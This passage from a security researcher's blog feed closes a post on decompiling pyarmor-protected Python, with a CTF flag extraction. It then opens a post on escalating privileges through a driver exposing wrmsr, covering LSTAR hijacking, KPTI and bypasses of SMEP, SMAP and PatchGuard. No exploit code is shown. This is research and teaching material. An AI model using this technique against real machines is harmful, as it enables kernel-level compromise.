 	<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
  		<span class="k">pass</span>
</code></pre></div>    </div>
  </li>
  <li>Run again:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;"C:\Program Files\Python312\python.exe" client8.pyc
 Traceback (most recent call last):
File "client8.py", line 25, in &lt;module&gt;
File "client8.py", line 8, in start_client
 AttributeError: module 'socket' has no attribute 'AF_INET'
</code></pre></div>    </div>
  </li>
</ol>

<p>I don’t know how to properly define <code class="language-plaintext highlighter-rouge">AF_INET</code>, but fortunately <a href="https://github.com/python/cpython/blob/3.12/Lib/socket.py">the socket.py source code</a> is available, so I can properly re-implement it.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">_socket</span>
<span class="kn">from</span> <span class="nn">_socket</span> <span class="kn">import</span> <span class="o">*</span>

<span class="k">class</span> <span class="nc">socket</span><span class="p">(</span><span class="n">_socket</span><span class="p">.</span><span class="n">socket</span><span class="p">):</span>
	<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">family</span><span class="o">=-</span><span class="mi">1</span><span class="p">,</span> <span class="nb">type</span><span class="o">=-</span><span class="mi">1</span><span class="p">,</span> <span class="n">proto</span><span class="o">=-</span><span class="mi">1</span><span class="p">,</span> <span class="n">fileno</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
		<span class="k">pass</span>
</code></pre></div></div>

<p>Running again:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;"C:\Program Files\Python312\python.exe" client8.pyc
 Traceback (most recent call last):
   File "client8.py", line 25, in &lt;module&gt;
   File "client8.py", line 9, in start_client
 OSError: connect(): bad family
</code></pre></div></div>
<p>I will add the rest of the <code class="language-plaintext highlighter-rouge">__init__</code> method and then define the <code class="language-plaintext highlighter-rouge">connect()</code> method:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">_socket</span>
<span class="kn">from</span> <span class="nn">_socket</span> <span class="kn">import</span> <span class="o">*</span>
 
<span class="k">class</span> <span class="nc">socket</span><span class="p">(</span><span class="n">_socket</span><span class="p">.</span><span class="n">socket</span><span class="p">):</span>
 	<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">family</span><span class="o">=-</span><span class="mi">1</span><span class="p">,</span> <span class="nb">type</span><span class="o">=-</span><span class="mi">1</span><span class="p">,</span> <span class="n">proto</span><span class="o">=-</span><span class="mi">1</span><span class="p">,</span> <span class="n">fileno</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
     	<span class="k">if</span> <span class="n">fileno</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
         	<span class="k">if</span> <span class="n">family</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span>
             	<span class="n">family</span> <span class="o">=</span> <span class="n">AF_INET</span>
         	<span class="k">if</span> <span class="nb">type</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span>
             	<span class="nb">type</span> <span class="o">=</span> <span class="n">SOCK_STREAM</span>
         	<span class="k">if</span> <span class="n">proto</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span>
             	<span class="n">proto</span> <span class="o">=</span> <span class="mi">0</span>
     	<span class="n">_socket</span><span class="p">.</span><span class="n">socket</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">family</span><span class="p">,</span> <span class="nb">type</span><span class="p">,</span> <span class="n">proto</span><span class="p">,</span> <span class="n">fileno</span><span class="p">)</span>
     	<span class="bp">self</span><span class="p">.</span><span class="n">_io_refs</span> <span class="o">=</span> <span class="mi">0</span>
     	<span class="bp">self</span><span class="p">.</span><span class="n">_closed</span> <span class="o">=</span> <span class="bp">False</span>
         
 	<span class="k">def</span> <span class="nf">connect</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
     		<span class="k">pass</span>
</code></pre></div></div>

<p>Running again:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;"C:\Program Files\Python312\python.exe" client8.pyc
 Traceback (most recent call last):
   File "client8.py", line 25, in &lt;module&gt;
   File "client8.py", line 9, in start_client
 TypeError: socket.connect() takes 1 positional argument but 2 were given
</code></pre></div></div>
<p>I added the argument and a print function to show what is passed to the <code class="language-plaintext highlighter-rouge">connect()</code> method.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 	<span class="k">def</span> <span class="nf">connect</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">arg</span><span class="p">):</span>
     		<span class="k">print</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span>
</code></pre></div></div>

<p>Running it again, we get the IP and the port to which it will connect:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;"C:\Program Files\Python312\python.exe" client8.pyc
 ('192.168.1.30', 5555)
 Traceback (most recent call last):
   File "client8.py", line 25, in &lt;module&gt;
   File "client8.py", line 12, in start_client
 OSError: [WinError 10057] A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using a sendto call) no address was supplied
</code></pre></div></div>

<h2 id="custom-cpython-interpreter">Custom CPython interpreter</h2>
<p>Re-compile CPython to dump byte code at <code class="language-plaintext highlighter-rouge">PyEval_EvalFrameDefault()</code>. This function executes the python byte-code, therefore it should be in a state after pyarmor protections.
To understand CPython source code and how to compile it I highly recommend checking <a href="https://realpython.com/cpython-source-code-guide/">CPython source code guide</a>. And for the necessary modifications I recommend <a href="https://youtu.be/1Q6Mti0mRao?t=3075">this youtube video</a> and <a href="https://github.com/levanvn/FLARE-ON9-Chal11_Unpacking-Pyarmor">FLARE-ON9-Chal11_Unpacking-Pyarmor</a> (but also check the other links in the Resources section).</p>

<p>This approach can also be used for scripts you can’t decompile. You could modify CPython to print the contents of strings (or other data types) every time they’re initialized, used or changed. String objects and their methods are defined in <code class="language-plaintext highlighter-rouge">unicodeobject.c</code>.</p>

<p>I made my own custom python interpreter by modifying all relevant methods in <code class="language-plaintext highlighter-rouge">unicodeobject.c</code> to print the string object contents after every operation. Depending on the data type you could print the string directly, or you might have to convert it first using the appropriate methods:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">printf</span><span class="p">(</span><span class="s">"STRING: %.*s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">size</span><span class="p">,</span> <span class="n">s</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"STRING: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">PyUnicode_DATA</span><span class="p">(</span><span class="n">PyUnicode_FromObject</span><span class="p">(</span><span class="n">unicode_obj</span><span class="p">)));</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"STRING: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">PyUnicode_DATA</span><span class="p">(</span><span class="n">unicode</span><span class="p">));</span>
</code></pre></div></div>

<p>For example:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">Py_hash_t</span>
<span class="nf">unicode_hash</span><span class="p">(</span><span class="n">PyObject</span> <span class="o">*</span><span class="n">self</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"STRING unicode_hash: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">PyUnicode_DATA</span><span class="p">(</span><span class="n">self</span><span class="p">));</span>
</code></pre></div></div>

<p>Here is an example using a binary from Huntress CTF which is protected with pyarmor:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; python snake_eaterII.exe_extracted\snake_eater.pyc | findstr /I flag
&lt;..snip..&gt;
STRING resize_compact: flag{be47387ab77251ecf80db1b6725dd7a
STRING _copy_characters_to: flag{be47387ab77251ecf80db1b6725dd7ac
STRING PyUnicode_Append: flag{be47387ab77251ecf80db1b6725dd7ac
STRING resize_compact: flag{be47387ab77251ecf80db1b6725dd7ac
STRING _copy_characters_to: flag{be47387ab77251ecf80db1b6725dd7ac}
STRING PyUnicode_Append: flag{be47387ab77251ecf80db1b6725dd7ac}
STRING unicode_length: flag.txt
STRING unicode_result_unchanged: flag.txt
STRING _PyUnicode_FromASCII: flag.txt
STRING unicode_length: flag.txt
STRING _copy_characters_from: flag.txt
STRING _copy_characters_to: \Users\lab\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\flag.txt
STRING PyUnicode_Append: \Users\lab\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\flag.txt
STRING unicode_length: \Users\lab\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\flag.txt
STRING _copy_characters_from: \Users\lab\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\flag.txt
STRING _copy_characters_to: C:\Users\lab\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\flag.txt
STRING PyUnicode_Concat: C:\Users\lab\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\flag.txt
BYTES PyBytes_Repr: b'flag{be47387ab77251ecf80db1b6725dd7ac}'
</code></pre></div></div>

<h1 id="disassembly">Disassembly</h1>
<p>If everything else fails, you could resort to disassembling the PYC and try to understand what it does on a byte-code level.
For the dissassembly you could use:</p>
<ul>
  <li><a href="https://github.com/zrax/pycdc">pycdas</a> from the pycdc project</li>
  <li><a href="https://docs.python.org/3/library/dis.html">dis</a> python module (works only for the same python version as the PYC you’re analyzing)</li>
  <li><a href="https://github.com/rocky/python-xdis">xdis</a></li>
  <li><a href="https://github.com/extremecoders-re/python-snippet-decompiler">Python Snippet decompiler</a></li>
</ul>

<h1 id="resources">Resources</h1>
<ol>
  <li><a href="https://youtu.be/oqS3aj2yS68?t=294">https://youtu.be/oqS3aj2yS68?t=294</a></li>
  <li><a href="https://realpython.com/cpython-source-code-guide/">https://realpython.com/cpython-source-code-guide/</a></li>
  <li><a href="https://github.com/levanvn/FLARE-ON9-Chal11_Unpacking-Pyarmor">https://github.com/levanvn/FLARE-ON9-Chal11_Unpacking-Pyarmor</a></li>
  <li><a href="https://www.ghettoforensics.com/2022/11/flare-on-9-worst-writeups.html">https://www.ghettoforensics.com/2022/11/flare-on-9-worst-writeups.html</a></li>
  <li><a href="https://jackfromeast.site/2022-12/snyk-2022-writeup.html#pay-more-attention">https://jackfromeast.site/2022-12/snyk-2022-writeup.html#pay-more-attention</a></li>
  <li><a href="https://youtu.be/1Q6Mti0mRao?t=3075">https://youtu.be/1Q6Mti0mRao?t=3075</a></li>
  <li><a href="https://devilinside.me/blogs/unpacking-pyarmor">https://devilinside.me/blogs/unpacking-pyarmor</a></li>
  <li><a href="https://www.pkusinski.com/sekai-ctf-2022-writeup-symbolicneeds/">https://www.pkusinski.com/sekai-ctf-2022-writeup-symbolicneeds/</a></li>
</ol>]]></content><author><name>Ilia Dafchev</name></author><category term="posts" /><category term="python" /><category term="reverse engineering" /><category term="decompile" /><category term="analysis" /><summary type="html"><![CDATA[Showing several approaches to decompile and analyze newer python versions compiled with pyinstaller]]></summary></entry><entry><title type="html">Exploiting WRMSR in vulnerable drivers</title><link href="https://idafchev.github.io/blog/wrmsr/" rel="alternate" type="text/html" title="Exploiting WRMSR in vulnerable drivers" /><published>2023-11-01T00:00:00+02:00</published><updated>2023-11-01T00:00:00+02:00</updated><id>https://idafchev.github.io/blog/wrmsr</id><content type="html" xml:base="https://idafchev.github.io/blog/wrmsr/"><![CDATA[<h1 id="1-introduction">1. Introduction</h1>
<hr />
<p>While researching driver vulnerabilities, I became interested in finding one myself. I came across a driver, from major chipset vendor, that had an IOCTL handler with the <code class="language-plaintext highlighter-rouge">wrmsr</code> instruction. This handler accepted the target MSR address and value from a user-mode application without any sanitization or access control. Although I had only read about this type of vulnerability and its potential abuse in theory, I decided to try it in practice because initially it didn’t seem too difficult.</p>

<p>Turned out that exploiting it was quite an involved process. Took me two weeks of staying up late, staring at windbg, analyzing crashes and blue screens, reading blogs and obscure forums to actually understand what’s happening and develop a working stable exploit.</p>

<p>Unfortunately, there is very limited practical information available on exploiting <code class="language-plaintext highlighter-rouge">wrmsr</code> (such as writing the shellcode and bypassing protections). The few bits and pieces I found through Google were scattered across various blogs, forums, and presentations. I couldn’t find a single comprehensive resource that systematically covered the topic with practical examples and source code. While one presentation came close, it lacked sufficient code examples. Hence, in this post, I aim to provide a comprehensive explanation.</p>

<p>The first part of this blog post is the theory needed to understand the practical parts later.</p>

<p class="notice--info"><em>PS. This was the first zero-day I ever discovered, unfortunately the vendor marked my report as a duplicate, because someone else reported it first and I didn’t get a CVE on my name. I publish this blog after the vendor decided to discontinue the driver, and it won’t be available for download anymore.</em></p>

<h1 id="2-model-specific-registers">2. Model Specific Registers</h1>
<hr />
<p>Model Specific Registers (MSR) are CPU control registers that are specific for a CPU family. Their original purpose was to introduce experimental new features and functionality, but some of them proved useful enough to be retained across CPU models and are not expected to change in future processors. Intel refers to these as Architectural MSRs.</p>

<p>One example of such a register is the Long-mode System call Target Address Register (LSTAR) MSR. This register provides support to the operating system for handling system calls. The OS can store the address of the system call handler in the <code class="language-plaintext highlighter-rouge">LSTAR MSR</code>. When the <code class="language-plaintext highlighter-rouge">syscall</code> assembly instruction is executed, it switches the CPU to ring 0 mode (kernel mode) and sets the instruction pointer (RIP) to the value stored in the LSTAR register. As a result, the CPU effectively jumps to the system call handler, enabling the OS to process the system call.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/wrmsr/lstar_1.png" alt="LSTAR" class="align-center" /></p>

<p>It’s important to understand that MSRs have different scopes. Thread-scope MSRs are unique to each logical processor, while core-scope MSRs are shared by the threads running on the same physical core. The LSTAR register, in particular, is a core-scope register, meaning it is shared among the threads running on a given core.</p>

<p>To interact with MSRs, two assembly instructions are used: <code class="language-plaintext highlighter-rouge">wrmsr</code> and <code class="language-plaintext highlighter-rouge">rdmsr</code>. These instructions can only be executed at CPU privilege level 0, typically reserved for the kernel.</p>

<p>The <code class="language-plaintext highlighter-rouge">wrmsr</code> instruction writes the contents of the EDX:EAX registers into the 64-bit model-specific register (MSR) specified in the ECX register. On 64-bit architectures, the high-order 32 bits of RDX, RAX, and RCX are ignored. The <code class="language-plaintext highlighter-rouge">LSTAR MSR</code> address is represented by the value <code class="language-plaintext highlighter-rouge">C0000082</code>.</p>

<p>On the other hand, the <code class="language-plaintext highlighter-rouge">rdmsr</code> instruction reads the contents of the 64-bit model-specific register specified in the ECX register into the EDX:EAX registers. Similar to the <code class="language-plaintext highlighter-rouge">wrmsr</code> instruction, on 64-bit architectures, the high-order 32 bits of RCX are ignored, but the high-order 32 bits of RDX and RAX are cleared.</p>

<p>In Windbg, the <code class="language-plaintext highlighter-rouge">rdmsr</code> command can be used to check the contents of an MSR.<br />
<img src="https://idafchev.github.io/blog/assets/images/wrmsr/windbg_rdmsr.png" alt="Windbg rdmsr" class="align-center" /></p>

<p>On 64bit Windows the system call handler is either <code class="language-plaintext highlighter-rouge">KiSystemCall64Shadow()</code> or <code class="language-plaintext highlighter-rouge">KiSystemCall64()</code>. We can verify that using Windbg to check the symbol associated with the address stored in the LSTAR register.<br />
<img src="https://idafchev.github.io/blog/assets/images/wrmsr/windbg_rdmsr2.png" alt="Windbg rdmsr" class="align-center" /></p>

<p>It is not uncommon for device drivers, particularly those involved in hardware interactions such as overclocking or measuring CPU temperature, to read and modify specific MSR registers. However, a potential security concern arises when drivers allow user-mode applications to pass arguments directly to the wrmsr instruction without proper sanitization and access control.</p>

<p>In such a scenario, an unprivileged attacker could exploit this vulnerability by modifying the LSTAR MSR and redirecting it to memory under their control. Consequently, when the next system call occurs, the operating system would execute the attacker’s code with kernel-level privileges.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/wrmsr/lstar_2.png" alt="Modified LSTAR" class="align-center" /></p>

<p>Exploiting the vulnerability and achieving successful execution of attacker code is not as straightforward as simply modifying the LSTAR MSR There are several OS protections that need to be bypassed, and the attacker’s code must also consider the need to quickly restore the original LSTAR value to prevent system crashes.</p>

<p>Before diving into practical examples, it is essential to understand how Windows executes system calls and the various protections that are in place.</p>

<h1 id="3-paging">3. Paging</h1>
<hr />
<p>Have you wondered how each process on Windows has its own address space, using the same addresses? If <code class="language-plaintext highlighter-rouge">ProcessA</code> is loaded at address <code class="language-plaintext highlighter-rouge">0x400000</code> and <code class="language-plaintext highlighter-rouge">ProcessB</code> is also loaded at address <code class="language-plaintext highlighter-rouge">0x400000</code>, how are those processes co-existing on the same address and how does the OS distinguishes between them? The key mechanism that enables this is called paging. Although the process of paging is complex and involves several components, I’ll provide a brief overview.</p>

<p>In a nutshell, the operating system utilizes tables to facilitate the translation between virtual addresses and physical addresses. Each process has its own dedicated page table, which allows the same virtual address to be mapped to a different physical address for each process.</p>

<p>To manage this translation, every process stores the base physical address of its own page table in the <code class="language-plaintext highlighter-rouge">DirectoryTableBase</code> field, which is part of the <code class="language-plaintext highlighter-rouge">KPROCESS</code> structure. When the operating system switches execution to a particular process, it loads the value of the <code class="language-plaintext highlighter-rouge">DirectoryTableBase</code> into the <code class="language-plaintext highlighter-rouge">CR3</code> register. This register serves as the pointer to the current process’s page table.</p>

<p>Through this mechanism, Windows ensures that each process has its own isolated address space, despite potentially sharing the same virtual addresses.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/wrmsr/paging.png" alt="Paging" class="align-center" /></p>

<h1 id="4-kernel-page-table-isolation">4. Kernel page-table isolation</h1>
<hr />
<p>After the discovery of the Meltdown CPU vulnerability, Microsoft introduced a modification to the paging mechanism known as Kernel Virtual Address Shadow (KVAS). This change aimed to address the vulnerability by implementing a similar solution to the Linux kernel feature called Kernel Page-Table Isolation (KPTI). It’s worth noting that the terms KPTI and KVAS are sometimes used interchangeably.</p>

<p>With KVAS enabled, each process maintains two page tables within its <code class="language-plaintext highlighter-rouge">KPROCESS</code> structure. The first is the <code class="language-plaintext highlighter-rouge">DirectoryTableBase</code>, which contains both kernel-land and user-land pages. The second is the <code class="language-plaintext highlighter-rouge">UserDirectoryTableBase</code>, which only includes user-land memory pages. When unprivileged user-mode code is running, the <code class="language-plaintext highlighter-rouge">UserDirectoryTableBase</code> is loaded into the <code class="language-plaintext highlighter-rouge">CR3</code> register. However, when a system call is invoked, and the operating system switches to kernel mode, the <code class="language-plaintext highlighter-rouge">DirectoryTableBase</code> is loaded into <code class="language-plaintext highlighter-rouge">CR3</code>. This ensures that user-mode code has no visibility or access to kernel-memory pages, and the complete memory view is only available when code transitions to kernel land.</p>

<p>To validate the values of the CR3 register using Windbg, you can refer to the following screenshot.<br />
<img src="https://idafchev.github.io/blog/assets/images/wrmsr/windbg_dtb.png" alt="Windbg DTB" class="align-center" /></p>

<p>In the screenshot, you can see that CR3 register holds the value of the kernel <code class="language-plaintext highlighter-rouge">DirectoryTableBase</code> instead of the expected user value - <code class="language-plaintext highlighter-rouge">UserDirectoryTableBase</code>. The shown <code class="language-plaintext highlighter-rouge">KPROCESS</code> values are in the context of unprivileged process with KVAS enabled, therefore <code class="language-plaintext highlighter-rouge">CR3</code> should’ve contained <code class="language-plaintext highlighter-rouge">UserDirectoryTableBase</code>. If someone knows why this is happening, I’d appreciate if you let me know.</p>

<p>Additionally, it’s important to note that in Windows, Kernel Page-Table Isolation (KPTI) is disabled for processes running with administrative privileges. Which again can be verified with Windbg. The following screenshot was taken for a process running with admin privileges. You can see that <code class="language-plaintext highlighter-rouge">UserDirectoryTableBase</code> does not hold a valid address, instead its value is just ‘1’. Also the value of <code class="language-plaintext highlighter-rouge">AddressPolicy</code> field is ‘1’, meaning that KVAS is disabled.<br />
<img src="https://idafchev.github.io/blog/assets/images/wrmsr/windbg_dtb2.png" alt="Windbg DTB" class="align-center" /></p>

<p>Within the kernel, there exists a specific section called <code class="language-plaintext highlighter-rouge">KVASCODE</code> that is exposed by the <code class="language-plaintext highlighter-rouge">UserDirectoryTableBase</code> and is accessible from user-mode. This section contains essential functions responsible for facilitating the transition between user-mode and kernel-mode, as well as handling exceptions, interrupts, etc.</p>

<p>By exposing certain functions in the <code class="language-plaintext highlighter-rouge">KVASCODE</code> section to user-mode, the operating system allows for necessary operations and communication between the user-mode and kernel-mode environments. These functions play a critical role in managing the execution flow, handling system calls, and processing exceptions that may occur during program execution. The system call handler function resides in the KVASCODE region, and one of the first things it does is to switch to the appropriate page-table.</p>

<p>The diagram below illustrates how the OS switches between the two sets of page-tables and what memory is visible before and after issuing a <code class="language-plaintext highlighter-rouge">syscall</code> and <code class="language-plaintext highlighter-rouge">sysret</code> instruction.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/wrmsr/kpti.png" alt="KPTI" class="align-center" /><br />
(Source: I re-created this image. The original is from the blog post <a href="https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html">Fixing Remote Windows Kernel Payloads to Bypass Meltdown KVA Shadow</a>)</p>

<h1 id="5-system-call-internals">5. System call internals</h1>
<hr />
<p>Prior to the introduction of KVAS, the system call handler in Windows was the <code class="language-plaintext highlighter-rouge">KiSystemCall64()</code> function, located in the <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> module. However, with KVAS enabled, the system call handler is the <code class="language-plaintext highlighter-rouge">KiSystemCall64Shadow()</code> function, which I will focus on.</p>

<p>As mentioned earlier, when the syscall instruction is executed, the CPU switches to ring 0 (kernel mode) and sets the instruction pointer (RIP) to the value stored in the <code class="language-plaintext highlighter-rouge">LSTAR</code> register, which points to the <code class="language-plaintext highlighter-rouge">KiSystemCall64Shadow()</code> function. At this stage, the code is still executing within the context of the user-mode process. It continues to utilize the user stack (RSP) and the user page table, lacking visibility into the kernel memory.</p>

<p>To facilitate a full transition to kernel-mode, the initial instructions within the <code class="language-plaintext highlighter-rouge">KiSystemCall64Shadow()</code> function are responsible for executing the necessary operations. These instructions handle various tasks, such as setting up the kernel stack, loading the kernel page table, and establishing access to kernel memory and resources. This transition allows the code to operate within the privileged kernel environment, enabling the execution of kernel-level operations.</p>

<p>The screenshot below shows the disassembly of the first few instructions of <code class="language-plaintext highlighter-rouge">KiSystemCall64Shadow()</code>.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/wrmsr/KiSystemCall64Shadow.png" alt="KiSystemCall64Shadow" class="align-center" /></p>

<p><code class="language-plaintext highlighter-rouge">swapgs</code> is the first instruction executed. This instruction serves to swap the current value of the GS segment register, which holds the user-mode value, with the kernel-mode value. The kernel-mode value is stored in the <code class="language-plaintext highlighter-rouge">IA32_KERNEL_GS_BASE</code> MSR register, whereas the user-mode value resides in the <code class="language-plaintext highlighter-rouge">IA32_GS_BASE</code> MSR register. Consequently, the <code class="language-plaintext highlighter-rouge">swapgs</code> instruction functions by reading the value from the respective MSR register and loading it into the GS register.</p>

<p>The user-mode GS value (stored in <code class="language-plaintext highlighter-rouge">IA32_GS_BASE</code>) points to the Thread Environment Block (TEB) structure. The TEB contains valuable information about the currently running thread.</p>

<p>On the other hand, when the system transitions to kernel-mode, the GS segment register needs to be updated to point to the Kernel Processor Control Region (KPCR) structure. This allows the kernel to access various essential fields and structures necessary for proper kernel operation. By performing the <code class="language-plaintext highlighter-rouge">swapgs</code> instruction, the GS segment register is appropriately adjusted, enabling subsequent code in the <code class="language-plaintext highlighter-rouge">KiSystemCall64Shadow()</code> function to access the relevant structures within the KPCR.</p>

<p><code class="language-plaintext highlighter-rouge">bt</code> instruction checks if KVAS is enabled for the current process, by testing for the presence of certain flag. If KVAS is enabled, the code sets the <code class="language-plaintext highlighter-rouge">CR3</code> value to the kernel <code class="language-plaintext highlighter-rouge">DirectoryTableBase</code>.</p>

<p>Finally, the kernel stack is loaded into RSP. At this point, execution is fully transitioned to kernel-land.</p>

<p><code class="language-plaintext highlighter-rouge">KiSystemCall64Shadow()</code> ends with a jump to <code class="language-plaintext highlighter-rouge">KiSystemServiceUser</code>, which is somewhere in the middle of <code class="language-plaintext highlighter-rouge">KiSystemCall64</code>. This means that when KVAS is enabled, <code class="language-plaintext highlighter-rouge">KiSystemCall64Shadow()</code> is responsible only for the first half of the system call handling, after that execution continues from the middle of the original system call handler - <code class="language-plaintext highlighter-rouge">KiSystemCall64()</code>.</p>

<p>I won’t cover how <code class="language-plaintext highlighter-rouge">KiSystemCall64Shadow()</code> and <code class="language-plaintext highlighter-rouge">KiSystemCall64()</code> actually handle the system call, as it is not needed for our purposes. If you’re interested you can read more about it in the blog post “<a href="https://alice.climent-pommeret.red/posts/a-syscall-journey-in-the-windows-kernel">A Syscall Journey in the Windows Kernel</a>”, which explains all the internals quite well.</p>

<p>Returning to user-mode is done with the function <code class="language-plaintext highlighter-rouge">KiKernelSysretExit()</code>, which ends with the instructions shown on the screenshots below.<br />
<img src="https://idafchev.github.io/blog/assets/images/wrmsr/sysret1.png" alt="Sysret" class="align-center" /></p>

<p>The <code class="language-plaintext highlighter-rouge">UserDirectoryTableBase</code> value gets loaded into the RBP register. After this step, the <code class="language-plaintext highlighter-rouge">CR3</code> register is set to the value stored in RBP. By doing so, the user-mode pages associated with the <code class="language-plaintext highlighter-rouge">UserDirectoryTableBase</code> are effectively loaded into the <code class="language-plaintext highlighter-rouge">CR3</code> register.</p>

<p>The final instructions are shown below:</p>

<p><img src="https://idafchev.github.io/blog/assets/images/wrmsr/sysret2.png" alt="Sysret" class="align-center" /></p>

<p>The user stack is restored by loading the appropriate value into the RSP register.</p>

<p>Next, the <code class="language-plaintext highlighter-rouge">swapgs</code> instruction is invoked once again, this time to load the user-mode GS value.</p>

<p>Finally, the <code class="language-plaintext highlighter-rouge">sysret</code> instruction is utilized to transfer control and return the execution to ring 3, the user-mode privilege level. During this transition, the instruction pointer (RIP) is set to the address saved in the RCX register. The syscall instruction, which originally initiated the transition to kernel-mode, stores the address of the next instruction in the RCX register. By using <code class="language-plaintext highlighter-rouge">sysret</code>, the execution flow is redirected back to the user application at the specified address, allowing it to resume its normal course of execution.</p>

<p>All the steps described until now are illustrated in the next diagram.<br />
<img src="https://idafchev.github.io/blog/assets/images/wrmsr/syscall.png" alt="Syscall" class="align-center" /></p>

<h1 id="6-smep-and-smap">6. SMEP and SMAP</h1>
<hr />
<p>Supervisor Mode Execution Prevention (SMEP) is a security feature that helps prevent unintended execution of user-space code in kernel mode. If the CPU is in kernel mode and attempts to execute code in user-space, SMEP will trigger a trap and crash the OS. This means that if an attacker manipulates the LSTAR register to point to a user-mode buffer containing malicious shellcode, Windows will experience BSOD. SMEP acts as a protective measure to prevent supervisor mode from mistakenly executing user-space code. You can think of it as the kernel equivalent of Data Execution Prevention (DEP). And similarly to DEP, you can use Return-Oriented Programming (ROP) to chain instructions from kernel-space to bypass it.</p>

<p>The CR4 register has a flag which is responsible for enabling and disabling SMEP.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/wrmsr/CR4.jpg" alt="CR4" class="align-center" /></p>

<p>Supervisor Mode Access Prevention (SMAP) is another security feature that complements SMEP by extending protection to memory access (reads and writes) from kernel mode to user-space addresses. If the CPU is in supervisor mode and attempts to access a user-space address, SMAP will trigger a trap and crash the OS. This means that even with ROP chains built with kernel-space addresses on the stack, will fail because the user-mode stack pointer (RSP) itself will have a user-space address.</p>

<p>The RFLAGS register has a flag (the AC flag) which controls SMAP, and it can be changed from user-mode!</p>

<p><img src="https://idafchev.github.io/blog/assets/images/wrmsr/eflags_registers.jpg" alt="RFLAGS" class="align-center" /></p>

<h1 id="7-kernel-patch-protection">7. Kernel Patch Protection</h1>
<hr />
<p>Kernel Patch Protection (KPP), also known as PatchGuard, is a security feature in Windows operating systems, which primary function is to periodically check whether protected system structures within the kernel have been modified. If any unauthorized modifications are detected, Windows initiates a bug check and proceeds to shut down the system.</p>

<p>To ensure the integrity of critical kernel structures, KPP employs a set of routines that cache known-good copies or checksums of these structures. These cached copies or checksums act as reference points for validation. At random intervals (typically every few minutes), KPP validates the protected structures against their cached versions. If any discrepancies or modifications are found, it indicates potential tampering or unauthorized changes, triggering the system to take appropriate action (crash).</p>

<p>This means that if a malicious code tampers kernel structures, it has to restore their original values before KPP runs. Because it is not known when KPP will run, the malicious code should try to restore the structures as quickly as possible.</p>

<h1 id="8-analyzing-the-vulnerable-driver">8. Analyzing the vulnerable driver</h1>
<hr />
<p>For detailed explanation on how to analyze Windows drivers, refer to my previous posts.</p>

<p>Within its <code class="language-plaintext highlighter-rouge">DriverEntry</code> function, the driver utilizes the <code class="language-plaintext highlighter-rouge">IoCreateDevice</code> function instead of employing the more secure variant, <code class="language-plaintext highlighter-rouge">IoCreateDeviceSecure</code>. Consequently, this allows even low-privileged users to interact with the driver.<br />
<img src="https://idafchev.github.io/blog/assets/images/wrmsr/Decompiled_DriverEntry.png" alt="DriverEntry" class="align-center" /></p>

<p>Upon inspecting the IOCTL handler function, it becomes evident that the driver can accept 5 IOCTL codes, each calling a separate function. However, at this stage, no additional access control or validation checks have been implemented. In the provided screenshot, I’ve already renamed the most interesting functions.<br />
<img src="https://idafchev.github.io/blog/assets/images/wrmsr/Decompiled_HandlerFunction.png" alt="HandlerFunction" class="align-center" /></p>

<p>For the current blog post, only the function which uses the <code class="language-plaintext highlighter-rouge">wrmsr</code> instruction is relevant. Its IOCTL code shows it’s using Transfer Type method <code class="language-plaintext highlighter-rouge">METHOD_OUT_DIRECT</code>. Therefore, the input buffer is allocated by the kernel, and the output buffer is controlled by the user.<br />
